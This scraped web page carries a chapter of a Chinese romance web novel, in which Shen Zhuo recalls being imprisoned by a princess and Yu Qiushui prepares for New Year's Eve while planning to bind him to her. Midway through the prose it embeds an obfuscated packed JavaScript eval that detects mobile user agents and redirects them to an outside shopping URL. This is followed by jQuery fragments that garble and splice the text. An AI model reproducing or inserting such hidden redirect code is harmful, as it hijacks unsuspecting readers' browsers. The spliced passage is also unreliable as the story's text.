23. 第 23 章

作品:《折辱的疯批回来了

    虞秋水走后,陆云敲响了门,房间里头传来低哑的声音,听着好像不大对劲。


    陆云也听不出来是哪里不对劲,没多想,进去后禀告道:“主子,老爷派人来说,你要是准备年后回去,就和许侍郎家的女儿见见。”


    烛火后的男人神色难辨,出口时声音比前几日下的雪还冷,陆云还以为是自己说错话了。


    “还说了别的吗?”


    陆云摇头,说就这些。


    “让来的人带话回去,”沈琢手肘撑着桌面,捏了捏眉心,闭眸道:“不见。”


    “好嘞,我这就去告诉他。”


    这要是陆雨在,定然会问句就这么回老爷是不是不大好。


    陆云巴不得他说不见,虞姑娘的事还没解决呢,主子回去见旁的姑娘,虞姑娘怎么办?


    他一走,房间内安静得连呼吸都能听见。


    那一声声质问不断在耳畔回荡,沈琢眉头越来越紧蹙,呼吸粗重,像是陷入到梦魇之中。


    那日他向陛下请辞,“臣无能,无法教导公主,请陛下另选能人。”


    “这一年来,辛苦你了。贞儿她啊,流落民间十几年,养成的恶习蛮横之性短时间内是不好改。”


    这话他听得心中不大高兴,出口辩解:“公主并非是顽劣之人,只是多年来未曾受到亲人照顾,又经历磨难,所显露出来的蛮横不过是在保护自己。”


    “是臣无能,无法将公主雕成美玉。”


    他卸任前依旧放心不下她,“或许温阁老可以一试,温阁老是臣恩师,德高望重,学富五车,当是能教好公主。”


    陛下答应了。


    他本可直接出宫,不再看她一眼,可想到她刚回宫,接触的人除了陛下就是他,认识的人不多,怕她会抗拒温阁老,便去了明贞殿告诉她。


    “臣走后,会由温阁老来教殿下,温阁老虽年过半百,但教出过很多才子,公主只要认真跟着温阁老学,定然会大有裨益。”


    那时她对他笑着说了谢谢,说他们也算得上是师徒一场,在他离开前,邀他共用午膳。


    她亲自向他敬酒,滴酒不沾的他鬼使神差地接过了那杯酒,却一脚踩进她布下的牢笼。


    醒来后,目之所及只有远处一盏烛灯照亮一小片区域。


    而自己手脚被锁,就连脖颈都被套上锁链。


    他被她囚住了。


    “我没有说过让你走,你便不可以走。”


    女子幽幽之声回荡,沈琢猛地惊醒。


    入目一片漆黑,桌面烛火不知什么时候燃尽,屋外夜色漆黑,没有一颗星。


    沈琢仰头缓了一会,摸索着站起身,没有再点烛灯,从抽屉拿出安神香点燃,平息方才的心悸。


    要找虞秋水的人线索已断,认出虞秋水的那三人被斩首,青玉楼对虞秋水怀有不轨之心的人皆已被灭口。盐铁案已结,他该走了。


    走之前为她打点好一切,算是他对她最后的善意。


    从噩梦中惊醒,他没有一丝睡意,一直站在安神香前,垂下眼帘,不知在想些什么。


    按住桌面的手收紧,青筋鼓起,他自己都没发现自己那么用力。


    “虞秋水,你不能回去。”


    想到她死前经历的事,比起让她回到吃人不吐骨头的皇宫,他宁愿让她在凉州当一辈子的婢女。


    安神之香消散在空气中,今晚的香似乎不管用,他无法安神。


    睁眼到第一缕日光投入房间内,他睁开眼,望向窗外泛白的天空,神色迷茫。


    若是陆云在,看到他露出这样的表情,定然会十分稀奇,主子从来都是运筹帷幄,怎么会迷茫呢?


    他缓了一会,起身走向房门,打开房门后走出去,一眼看到已经下楼的少女。


    本想等她身影消失再下去,不知想到什么,抬脚跟了上去。


    婢女的声音传来:“姑娘眼睛怎的这么红,昨晚没睡好?”


    少女的回答他并未听清,下了楼梯,才看见她身影。


    身形瘦削,与记忆中的她相差太多。


    “姑娘想吃饺子?”婢女的声音传来,“姑娘等着,饺子多的是,厨房正在烧热水,要等一会才煮早饭,先喝些热茶暖暖身子。”


    低缓的谢谢传来,沈琢抬脚走向她们。


    “我可以帮着一起烧,你们照顾了我这么久,我又没有银两给你们,白吃白喝不太好。”


    婢女笑道:“哪里白吃白喝了,沈公子付了钱。”


    但她还是要坚持去烧水,“坐在灶台后还能烤烤火,身子更暖和。”


    沈琢看着她跟着婢女去了后厨,那抹纤弱的身影从他视线中消失,走出大堂时,脚步快得像是身后有豺狼在追。


    他低头看了眼自己,并无不妥。


    她是因为昨晚的事在躲避他。


    沈琢与以往一样走进厨房,婢女见他来,立刻将提前准备的早食端过去。


    “沈公子不用亲自来,叫手下来招呼一声,奴婢给您送去便可。”


    沈琢淡淡说了句顺路便来了,婢女道:“那还是照常送到房间里?”


    “送到大堂,我吃完便走。”


    婢女连忙说好,将早食端去大堂。


    男人也离开厨房。


    踩在泥土地上沉闷的脚步声越来越远,直到听不见了,虞秋水才探出脑袋去看。


    厨房里除了准备早食的婢女小厮,没有一道白色身影。


    “他走了……”


    虞秋水也不知道自己是在怕什么,楼梯那余光看到他从房间里出来,脚步加快,只想找地方远离他。


    到了厨房不久,听到他声音响起的瞬间,心都跳到嗓子眼,好在他没停留太久。


    搅了一下灶膛,火烧得更烈,烤得身子暖和得很,可心还是冷的。


    虞秋水不明白他为什么不能帮自己找生父,他是官,官不就是要为民办事吗?


    不能带她去京城,连帮她找生父都拒绝了,那他为何要屡次救她?


    虞秋水看不懂他为什么要拒绝自己,昨晚想了一夜,一想到要对他做那种事,她就情不自禁地颤抖起来。


    她害怕,害怕被他发现自己用这种卑劣的手段。


    可却又隐隐期待,即使是他这样高贵的人,再怎么不染红尘,也要被她这样的人玷污。


    虞秋水添了根柴,浓烈的火焰将水烧开,小厮过来打水,顺便换岗,他来烧火。


    虞秋水没走,问小厮:“你知道沈公子什么时候走吗?”


    小厮知道她是沈琢亲自带回来的,还嘱咐过老板好好照顾她,以为她和沈琢关系不一般,就直接告诉了她。


    “我听老板说,沈公子应该是过完年后,初二就走。”小厮赶紧打补,“但是也不一定准确啊,那是沈公子刚来的时候说的,现在可能变了也说不准。”


    虞秋水说了谢谢,直接往外走。


    小厮纳闷道:“她不是和沈公子一起的吗,直接问沈公子不就好了?”


    锅里的水沸腾,他赶紧下了饺子,没时间再去想。


    虞秋水回到大堂,一眼就看到背对自己的人,脊背挺直,动作优雅,不用走近,远远一看就知道他是出身名门,刻在骨子里的气质是掩盖不了的。


    脚像是黏在地上一样,久久不动。


    “虞姑娘,饺子好了,是送房间里,还是在这吃?”


    身后忽然传来的声音吓得她身子一颤,立刻转身回了一句:“放在这张桌子上就好。”


    男人手上动作一顿,稍稍抬头,目视前方,注意力却被身后的声音吸引。


    “就放在这吧,我吃完再回房间。”


    他们起得早,大堂里除了她和沈琢,只有几个打扫的婢女。


    虞秋水背对着沈琢坐下,心不在焉地吃饺子。


    片刻后男人的声音响起,“我晚些时候回来,房间里不用打扫。”


    随后便是小厮送他离开的声音。


    口中的饺子忽然没了味道,咀嚼的动作缓缓停下,握着筷子的手捏紧,指尖泛白。


    她刚来,他就走,他是什么意思?就这么不想看到她?


    虞秋水忘了自己先前还为了躲他去厨房帮忙,狠狠塞了个饺子到嘴里。


    吃完后她去问婢女,除夕夜那天是不是驿馆里的人都会一起吃年夜饭。


    “沈公子好像不和我们一起。”婢女笑道:“虞姑娘要是喜欢热闹,可以和我们一起吃年夜饭。”


    这要是没对沈琢动那心思,虞秋水肯定是要和她们一起吃的。


    她没有拒绝,说了句模棱两可的话:“我看情况吧。”


    婢女听懂她话里的意思,笑容更深了几分:“那姑娘可要更加努力,沈公子那样的人,定然有很多女子心悦。”


    虞秋水嗯了一声,心情因为这句话低落起来。


    他那样谪仙般的人,连她看了都忍不住想霸占,怎么可能会没有旁人喜欢呢。


    离除夕越近,虞秋水越紧张,甚至连房间都不怎么出,生怕见到那人。


    朱大夫给的药膏很管用,她脸上的冻疮消了大半,虽然还能看到疤痕,但只要再坚持抹,应该用不了多久就能全消。


    除夕夜前,虞秋水特地拜托婢女带来脂粉,请她帮忙教自己怎么上妆遮挡脸上的疤。


    虽然在青玉楼三年都在伺候华娘,也见过她们上妆,但每次都是看几眼就别开眼,是以在青玉楼待了三年,也不会给自己上妆。


    “好,奴婢教姑娘,姑娘好好看着。”


    这些日子相处下来,婢女发现虞秋水虽是性子倔强别扭,但相处起来却一点都不麻烦,反而还招人疼。


    这样好的姑娘,怎么就沦落到去青楼为婢呢。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724742|187109||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “虞姑娘的脸真是水嫩,哪像我们,脸上皮都打皱。”


    虞秋水知道她是在哄自己,抿唇笑了笑。


    婢女手很巧,不仅将疤痕全都遮盖,更是让虞秋水的脸展露她原本的美。


    虞秋水只被青玉楼的婆子逼着上妆,她自己没见过这样的自己,不由得看得愣神。


    婢女笑道:“姑娘再笑一笑,就更好看了。”


    虞秋水极力地控制自己的嘴角,扬起笑来。


    镜中的少女巧目盼兮,分外动人。


    “能麻烦姐姐明日再帮我上一次妆吗?”


    婢女猜到她是为了明日的除夕,点了头,笑着说:“自然是可以的。”


    虞秋水摸了摸自己脸上有冻疮的地方,不仔细看,看不出来。


    她在想,若是这样的自己再去见他,他是不是还会拒绝自己。


    不过也不用再去问了,过了明晚,他们就会绑死,即使他不愿意,她也不会放手。


    这一晚,虞秋水彻夜未眠。


    第二日她躺了好一会才起,刻意避开沈琢用早饭的时间,匆匆吃了早饭,等婢女空闲下来,才让她帮自己上妆。


    婢女还帮她梳了好看的发髻,一个劲地夸她。


    “男人见了你这副模样,不得被迷倒?”


    虞秋水笑笑,但愿他真的能被她这张脸迷倒,那样她就不用那么做了。


    她去了驿馆外散心,不知不觉走到青玉楼,门上封条醒目晃眼,让她不由得一阵恍惚。


    生活了三年的地方,就这么被封了,昔日的繁华不再,门可罗雀,除了她,没有人会来这。


    她还记得当初被马车带来这的时候,是李四把她拖下去,那时她求他帮自己逃跑,他只看着她什么都没说,被柳妈妈发现后,连着一起被关进柴房,不给饭吃。


    养父母怕她逃跑,提前饿了她很多天,只给水喝。


    柳妈妈连水都不给她喝,是李四从柴堆里翻出硬邦邦的馒头给她,让她挨过冰凉的夜晚。


    后来她才知道李四经常被关柴房,怕没东西吃,他会提前把食物藏在柴房里,而且柴房也归他管。


    身后传来唾骂声,“好端端的把青玉楼封了,额——老子连寻快活的地方都没了。”


    虞秋水扭头看过去,见着个醉汉靠着墙,身子歪歪扭扭,站都站不稳。


    发现她在看自己,醉汉冲她喊:“小丫头片子,你长得还挺额——”醉汉打了个嗝,继续说:“还挺、挺嫩。”


    虞秋水理都没理他,转身就走。


    醉汉还想追她,啪一下倒地上,骂地不平,绊倒了他。


    虞秋水几乎把自己曾经去过的地方都走了个遍,被柳妈妈看着,她能去的地方不多,大多数都是跟着华娘出青玉楼时走过的地。


    今日除夕,店铺基本上都关了门,没几家开着,街道上冷冷清清,没几个像她这样漫无目的地走。


    掉头回驿馆时,先前她给过糖葫芦的两个乞儿从巷子里冒出来,跑到她面前伸手讨要。


    她什么都拿不出来。


    “我没有钱。”


    乞儿立刻收回了手,看也不看她,掉头去找其他人。


    虞秋水看着他们走到身后两个人面前,一收到钱,立刻喜笑颜开,祝福的话脱口而出。


    心中生出难以言喻的失望,之前给他们糖葫芦和铜板时,他们还送祝福,现在没钱给,看都不看她一眼。


    人啊,就是这么现实。


    她回到驿馆时,里头热闹得很,老板见她今日和以往很不相同,不由得夸赞,“回来啦,嘿哟,小姑娘这么打扮,好看得很。”


    虞秋水扬起唇说了谢谢,转身上楼,她心里有事,一直低着头,更没有听到接近的脚步声,直到视线里出现一抹白,脚步骤停,僵硬地抬头去看。


    男人就在面前垂眸俯视着自己,眼底的情绪看得她心头一颤。


    “出去了?”


    虞秋水点头,“嗯。”


    他不是早上就走了吗,什么时候回来的?


    男人并未再说,侧身越过她离开。


    虞秋水回神时,他已经走远。


    她又低了头,一声不吭地回到房间里,刚关上门往里走,就看到桌面上放置的东西,当即愣在原地。


    一件鹅黄色的新衣裳,好些个首饰。


    她一步步走过去,目光略过衣衫,定格在首饰盒下压着的红封包上。


    里头是一张银票,数额大到足以她在凉州过一辈子。


    虞秋水眨了眨眼,泪水模糊了视线。


    既然说不喜欢她,也不愿帮她,还送来这些做什么?


    她就那么贱,给一点甜头就能对他感恩戴德,跟青玉楼那群花魁一样,百般讨好他吗?


    一张银票就想打发她,她死死盯着那张银票,吐出两个字:“做梦。”